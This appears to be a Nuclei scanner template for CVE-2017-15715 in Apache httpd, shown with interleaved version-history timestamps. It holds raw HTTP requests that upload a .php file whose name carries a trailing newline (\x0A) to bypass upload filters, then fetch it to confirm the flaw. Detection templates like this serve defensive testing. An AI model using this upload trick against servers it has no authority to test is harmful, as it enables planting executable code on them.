2021-04-23 13:34:52 +00:00
id : CVE-2017-15715
info :
name : Apache Arbitrary File Upload
author : geeknik
severity : high
2022-04-22 10:38:41 +00:00
description : In Apache httpd 2.4.0 to 2.4.29, the expression specified in <FilesMatch> could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could
be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
reference :
- https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-15715
cwe-id : CWE-20
2022-04-22 10:38:41 +00:00
tags : cve,cve2017,apache,httpd,fileupload
2021-04-23 13:34:52 +00:00
requests :
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
2021-04-23 16:18:57 +00:00
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
2021-04-23 13:34:52 +00:00
2021-04-23 16:18:57 +00:00
------WebKitFormBoundaryKc8fBVDo558U4hbJ
2021-04-23 13:52:23 +00:00
Content-Disposition : form-data; name="file"; filename="{{randstr}}.php"
2021-04-23 13:34:52 +00:00
2021-04-23 16:32:27 +00:00
{{randstr_1}}
2021-04-23 16:18:57 +00:00
------WebKitFormBoundaryKc8fBVDo558U4hbJ
Content-Disposition : form-data; name="name"
2021-04-23 16:32:27 +00:00
2021-04-23 16:18:57 +00:00
{{randstr}}.php\x0A
------WebKitFormBoundaryKc8fBVDo558U4hbJ--
2021-04-23 13:34:52 +00:00
- |
2021-04-23 16:18:57 +00:00
GET /{{randstr}}.php\x0A HTTP/1.1
2021-04-23 13:34:52 +00:00
Host : {{Hostname}}
Accept-Encoding : gzip,deflate
Accept : */*
req-condition : true
matchers :
- type : dsl
dsl :
2021-09-05 21:13:45 +00:00
- 'contains(body_2, "{{randstr_1}}")'